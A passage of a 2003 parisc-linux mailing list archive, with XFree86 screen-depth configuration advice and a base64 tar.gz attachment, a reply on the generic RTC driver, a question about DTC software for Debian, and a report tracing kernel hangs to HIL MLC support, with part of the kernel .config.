(acording
> to "fbset -i")
>                 Modes           "1280x1024"     # "1024x768" or
"1280x1024"
>         EndSubSection
> 
> You don't seem to have HIL, but IIRC the ps/2 driver uses the same
> /dev/input/mice 
> interface.
> 
> Regards,
> Helge
> 
>

Hi Miten,

   Your log now complains there is no Depth 24 section.  So, I suggest to
ADD that section just above/below the Depth 32 section.

Example:

Section "Screen"
	Identifier	"Default Screen"
	Device		"Generic Video Card"
	Monitor		"Generic Monitor"
	SubSection "Display"
		Depth		24		# 8, 16, 24 or 32
		Modes		"1280x1024"	# "1024x768" or "1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		32		# 8, 16, 24 or 32
		Modes		"1280x1024"	# "1024x768" or "1280x1024"
	EndSubSection
EndSection

--
Best Regards,
   Keith


------_=_NextPart_000_01C2C87F.A4580970
Content-Type: application/octet-stream;
	name="xfree_c110.tar.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="xfree_c110.tar.gz"

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

------_=_NextPart_000_01C2C87F.A4580970--


From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Rini <trini@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Generic RTC driver in 2.4.x
Date: Thu, 30 Jan 2003 11:03:15 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20030130180315.GA14768__21693.7153636993$1416622168$gmane$org@ip68-0-152-218.tc.ph.cox.net>
References: <Pine.GSO.4.21.0301051535430.10519-100000@vervain.sonytel.be> <Pine.GSO.4.21.0301102104190.18440-100000@vervain.sonytel.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622168 20843 80.91.229.3 (22 Nov 2014 02:09:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:28 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 11:03:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from opus.bloom.county (ip68-0-182-170.tc.ph.cox.net [68.0.182.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id 468F1482A
	for <parisc-linux@parisc-linux.org>; Thu, 30 Jan 2003 11:03:42 -0700 (MST)
Original-Received: from tmrini by opus.bloom.county with local (Exim 3.36 #1 (Debian))
	id 18eJ1v-0003qg-00; Thu, 30 Jan 2003 11:03:15 -0700
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.21.0301102104190.18440-100000@vervain.sonytel.be>
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17563

On Fri, Jan 10, 2003 at 09:05:55PM +0100, Geert Uytterhoeven wrote:
 
> Unfortunately I didn't receive any feedback from the pa-risc and ppc people
> after my previous posting last Sunday.
[snip]
> Pa-risc and ppc people (any other users?), please send me your enhancements (or
> just ack if none are necessary), so I can send genrtc to Marcelo.

Sorry I haven't spoken up before this, A simple cp of
include/asm-ppc/rtc.h (and then throwing the question
someplace) compiles a kernel correctly, and from what I recall of
getting it to work in 2.5, at that point it was all good anyhow.  So
this is fine for PPC32 as is.

-- 
Tom Rini (TR1265)
http://gate.crashing.org/~trini/


From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max <max@avtlg.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DTC & Debain.
Date: Thu, 30 Jan 2003 21:07:04 +0300
Lines: 8
Approved: news@gmane.org
Message-ID: <3E3969C8.9010406@avtlg.ru>
Reply-To: max@avtlg.ru, kmp@vnm.ru
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622168 20847 80.91.229.3 (22 Nov 2014 02:09:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 11:14:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from advent.avtlg.ru (advent.avtlg.ru [217.107.156.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 900B0482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 11:14:48 -0700 (MST)
Original-Received: from avtlg.ru (1-19.dial.avtlg.ru [217.107.148.148])
	by advent.avtlg.ru (8.11.3/8.11.3) with ESMTP id h0UIEId14112
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 21:14:28 +0300 (MSK)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:0.9.9) Gecko/20020513
X-Accept-Language: ru, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17564

Hi ALL.

Support DTC 16 TN by Debian?
Where can I get DTC Manager for Debian?
Exits any DTC software for Linux?




From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I found the cause of my kernel hangs
Date: Thu, 30 Jan 2003 10:27:48 -0800 (PST)
Lines: 687
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301301022570.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622168 20853 80.91.229.3 (22 Nov 2014 02:09:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:28 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 11:28:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED281482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 11:28:11 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0UIhCp19353
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 10:43:12 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0UIRmk02831
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 10:27:48 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17565

The offending thing was:
HIL MLC Support

I went through the options one by one, starting with just about everything
turned off, and adding one thing at a time, until I replicated my hang.
What info would you guys like, besides this?

The machine is a J200.



here is the whole .config:

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
CONFIG_MODULES=y
CONFIG_MODVERSIONS=y
CONFIG_KMOD=y

#
# Processor type
#
# CONFIG_PA7100 is not set
CONFIG_PA7200=y
# CONFIG_PA7100LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
CONFIG_SMP=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_ISA=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_PCI_NAMES=y

#
# General setup
#
CONFIG_HOTPLUG=y
CONFIG_NET=y
CONFIG_SYSVIPC=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
CONFIG_BINFMT_MISC=y
# CONFIG_PM is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_CISS_SCSI_TAPE is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_NBD=y
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y
# CONFIG_BLK_STATS is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
# CONFIG_NETFILTER is not set
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
